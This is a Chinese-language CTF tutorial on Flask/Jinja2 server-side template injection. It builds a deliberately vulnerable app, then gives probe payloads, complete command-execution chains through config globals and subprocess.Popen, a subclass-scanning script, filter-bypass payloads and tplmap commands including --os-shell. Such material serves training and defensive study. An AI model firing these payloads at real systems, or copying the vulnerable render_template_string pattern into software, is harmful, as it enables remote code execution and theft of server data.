SSTI 深入实战:探测、RCE 链与绕过

服务端模板注入:搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。
一、现实背景:模板引擎的正确与错误用法
Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法:
from flask import Flask, render_template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get("name", "world")
return render_template("hello.html", name=name)
模板文件 hello.html 内容是固定的 <h1>Hello, {{ name }}!</h1>,用户输入只是参数值。
错误写法是把用户输入拼进模板字符串:
return render_template_string("<h1>Hello, " + name + "!</h1>", name=name)
{{ ... }} 里的表达式会被求值。用户输入进入模板字符串,就形成了模板注入(SSTI)。
二、环境搭建
pip install flask
保存 app.py:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get("name", "world")
html = "<h1>Hello, " + name + "!</h1>"
return render_template_string(html, name=name)
app.run(host="0.0.0.0", port=5000)
运行:
python app.py
三、核心步骤 1:探测
目的:确认"用户输入被当作模板代码求值"。
思路:模板引擎会执行 {{ 表达式 }}。传 {{7*7}},若响应出现 49,说明表达式被求值,注入成立。先做这一步,再考虑 RCE。
3.1 正常请求
curl "http://127.0.0.1:5000/?name=alice"
预期输出:
<h1>Hello, alice!</h1>
3.2 表达式求值
curl "http://127.0.0.1:5000/?name={{7*7}}"
预期输出:
<h1>Hello, 49!</h1>
7*7 被求值成 49,说明模板表达式生效,SSTI 成立。
3.3 其他引擎的探测语法
| 引擎 | 语言 | 探测 payload |
|---|---|---|
| Jinja2 / Twig | Python / PHP | {{7*7}} |
| Freemarker | Java | ${7*7} |
| Velocity | Java | #set($x=7*7)$x |
| Smarty | PHP | {$smarty.version} |
四、核心步骤 2:一条 RCE 链
目的:从"能算数"提升到"能执行系统命令"。
思路:模板只能访问少量对象(如 config)。Python 对象有 __class__、__init__、__globals__ 等内部属性,沿着它们可以摸到模块全局命名空间,从而拿到 os 模块。验证方式:先执行 id,输出 uid=... 即成功,再换 cat /flag。
目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 config 对象,沿 Python 内部属性找到 os 模块。
4.1 分步理解
config → Flask 配置对象
config.__class__ → 它的类(Config)
config.__class__.__init__ → Config 的构造函数
config.__class__.__init__.__globals__ → 构造函数所在模块的全局命名空间(字典)
__globals__['os'] → os 模块
os.popen('id').read() → 执行命令并读取输出
4.2 完整 payload
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
用 curl 发送:
curl "http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
预期输出:
<h1>Hello, uid=0(root) gid=0(root) groups=0(root)!</h1>
命令执行成功。读 flag:
curl "http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}"
预期输出:
<h1>Hello, flag{ssti_rce}!</h1>
为什么先试 id 再试 cat /flag:id 只读当前用户信息,无副作用,适合验证命令是否真的执行;确认能执行后再读 flag,避免在 payload 有误时盲目尝试。
4.3 备选链:subclasses 扫描
目的:当 config 链被过滤或不可用时,用"从 object 找所有子类"的通用路径定位 subprocess.Popen。
config 链不可用时,从字符串对象出发找 subprocess.Popen:
''.__class__.__mro__[1].__subclasses__()
先用 Python 脚本找下标:
import requests
url = "http://127.0.0.1:5000/"
for i in range(500):
# 逐个尝试子类下标 0..499,把类名渲染出来。
payload = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) + "].__name__}}"
# '':空字符串对象;.__class__:它的类 str;
# .__mro__[1]:继承链上的 object 类;
# .__subclasses__():object 的所有子类列表;[i] 取第 i 个;
# .__name__:该类的名字,会渲染到页面。
r = requests.get(url, params={"name": payload})
if "Popen" in r.text:
# 页面出现 Popen 字样,说明找到了 subprocess.Popen 的下标。
print("Popen index:", i)
break
预期输出:Popen index: 258(数字因 Python 版本而异)。
然后利用:
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}
# Popen('id', shell=True, stdout=-1):
# shell=True 表示通过 /bin/sh 执行字符串命令;
# stdout=-1 表示把标准输出接到管道;
# .communicate()[0]:等待进程结束并取标准输出。
五、核心步骤 3:过滤绕过
目的:题目过滤 .、[]、关键词时,用等价写法表达同样的调用。
思路:点号访问可以用 Jinja2 的 attr 过滤器替代;字符串可以被拆到 URL 参数里,让模板中不出现被过滤的关键词。验证方式:逐步替换被过滤的部分,直到 payload 能被完整执行。
题目常过滤 .、[、] 或关键词。
5.1 用 attr 过滤器替代点号
{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}
5.2 把敏感字符串放进 URL 参数
/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag
模板里不再出现 os、cat 等关键词,可绕过字符串匹配类过滤器。
六、必学工具
工具 1:curl
curl "http://target/?name={{7*7}}" # 探测
curl -G "http://target/" --data-urlencode "name={{...}}" # 自动 URL 编码
工具 2:requests
import requests
url = "http://target/"
payload = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
r = requests.get(url, params={"name": payload})
# requests.get 的 params 参数:把字典转成查询字符串并自动 URL 编码。
# 例如 payload 里的空格、引号会被编码,避免手工转义出错。
print(r.text)
params 自动完成 URL 编码,比手工拼接省事。
工具 3:tplmap
模板注入自动化工具:
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt
python tplmap.py -u "http://target/?name=*" # * 是注入点标记
python tplmap.py -u "http://target/?name=*" --os-shell
七、小 CTF 实战:Flask 模板题
题目:http://target/?name= 存在 SSTI,flag 在 /flag。
第一步:探测
目的:用最便宜的请求确认漏洞类型,再决定用哪条链。
curl "http://target/?name={{7*7}}"
响应含 49 → 确认。
第二步:直接打
思路:先 config.__globals__ 链试 cat /flag;如果响应没出现 flag 内容,先改用 id 确认命令是否执行,再排查是不是命令被截断(如空格需要编码)。
import requests
url = "http://target/"
payload = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
r = requests.get(url, params={"name": payload})
print(r.text)
预期输出中出现:
flag{ssti_rce}
第三步:被过滤时
思路:把点号换成 attr、把关键词拆到 URL 参数,一条条替换直到成功。
改用 attr 与 request.args 组合:
/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag
八、小结
SSTI 主线:探测 {{7*7}} → config.__class__.__init__.__globals__['os'] 执行命令 → 被过滤就换 attr/request.args。理解了对象链,各种过滤只是换写法的问题。